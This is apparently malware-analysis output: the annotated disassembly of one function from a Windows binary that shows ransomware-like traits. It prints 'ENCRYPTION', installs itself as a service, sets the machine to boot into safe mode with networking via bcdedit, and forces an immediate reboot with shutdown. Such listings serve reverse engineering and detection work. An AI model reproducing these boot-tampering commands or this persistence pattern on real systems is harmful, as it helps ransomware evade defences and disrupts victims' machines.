Function at 0x40b730
Capabilities:
Create process on windows
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46123d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push esi
push str.ENCRYPTION_n
call fcn.0041a4d0
add esp, 4
mov dword [ebp - 0x20], 0x40ed00
cmp dword [0x486290], 8
mov eax, 0x48627c
mov dword [ebp - 0x1c], 0
cmovae eax, dword [0x48627c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x18], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x40b9d6
push 0xf003f
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x40b7f4
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
cmp eax, 5
jne 0x40b7c5
push str.Please_run_program_as_admin_n
call fcn.0041a4d0
add esp, 4
jmp 0x40b7ed
push fcn.00404a00
call esi
push eax
push str.Cant_open_scm_manager:
push 0x4883e8
call fcn.00402eb0
add esp, 8
mov ecx, eax
call fcn.0040a0a0
mov ecx, eax
call fcn.0040a260
push 0
call fcn.0043bce7
call fcn.0040e240
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x4861d4
call fcn.004061c0
mov dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x48627c
call fcn.004061c0
mov byte [ebp - 4], 1
push esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040be80
add esp, 0x34
test eax, eax
je 0x40b9a3
push 0x43
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
push esi
push str.Boot_option:
push 0x4883e8
call fcn.00402eb0
add esp, 8
mov ecx, eax
call fcn.00409ee0
push eax
call fcn.00404a00
add esp, 4
test esi, esi
jne 0x40b98a
lea eax, [ebp - 0x10]
push eax
push 0x103
push esi
push str.SYSTEMCurrentControlSetControlSafeBootNetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b975
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x48627c
call fcn.004061c0
mov dword [ebp - 4], 2
push dword [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c2c0
add esp, 0x1c
test al, al
je 0x40b961
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push str.bcdedit__set_safeboot_network
call esi
push 0
push str.C:WindowsSystem32_bcdedit.exe__set_safeboot_network
call esi
push 0
push str.C:WindowsSysNative_bcdedit.exe__set_safeboot_network
call esi
lea eax, [ebp - 0x3c]
push eax
call fcn.0040eb00
add esp, 4
mov dword [ebp - 4], 3
mov ecx, 0x486294
push eax
call fcn.00409da0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.00409120
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x486294
call fcn.004061c0
mov dword [ebp - 4], 4
mov dword [ebp - 4], 0xffffffff
call fcn.0040eff0
add esp, 0x18
push 0
push 0
push str._C_shutdown__r__f__t_0
push 0x470558
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.0043bce7
push str.Error_while_adding_service_to_autostart_n
call fcn.0041a4d0
add esp, 4
push 0
call fcn.0043bce7
push 0x2e0
push eax
call fcn.0040d7c0
add esp, 8
push 0
call fcn.0043bce7
push str.This_program_need_to_be_service_n
call fcn.0041a4d0
add esp, 4
call fcn.0040e770
push 0
call fcn.0043bce7
push fcn.00404a00
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Error_while_creating_service:
push 0x4883e8
call fcn.00402eb0
add esp, 8
mov ecx, eax
call fcn.0040a0a0
mov ecx, eax
call fcn.0040a260
push 0
call fcn.0043bce7
push str.started_as_service_n
call fcn.0041a4d0
add esp, 4
push 0
call fcn.0043bce7
int3